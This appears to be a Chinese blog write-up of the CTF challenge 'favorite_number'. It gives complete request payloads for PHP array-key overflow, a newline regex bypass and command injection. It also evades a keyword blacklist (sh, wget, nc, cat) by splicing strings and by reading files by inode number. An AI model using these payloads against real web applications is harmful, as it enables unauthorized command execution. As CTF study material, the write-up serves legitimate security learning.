本文主要是介绍CTF攻防世界 favorite_number,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
分析三条if语句:
if($stuff === $array && $stuff[0] != 'admin')接收一个数组stuff等于array且stuff[0]不等于admin
if (preg_match("/^\d+$/im",$num))在num中匹配数字且是多行匹配
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num))过滤关键字
构造的payload必须满足这三条if语句
1.构造语句满足第一个if , php数组key溢出
stuff[4294967296]=admin&stuff[1]=user
4294967296是溢出的临界值,想当于 stuff[4294967296]=stuff[0]
2.构造语句满足第二个if , %0a(换行符)绕过
stuff[4294967296]=admin&stuff[1]=user&num=123%0a ls
如果不用换行符num=123ls 因为有字母所以是匹配失败的
使用换行符的话num=123%0als num被分成两行第一行都是数字那么就会匹配成功
3.构造语句满足第三个if ,绕过过滤
第一种方法拼接 :
stuff[4294967296]=admin&stuff[1]=user&num=123%0a a=f;b=la;c=g;tac /$a$b$c
第二种方法iNode号读取:
stuff[4294967296]=admin&stuff[1]=user&num=123%0a ls -i /
stuff[4294967296]=admin&stuff[1]=user&num=123%0a tac `find / -inum 21765228`
正则表达式
\d 匹配数字
+ 匹配前面的子表达式一次或多次
/i 表示匹配的时候不区分大小写
/m 表示多行匹配
这篇关于CTF攻防世界 favorite_number的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!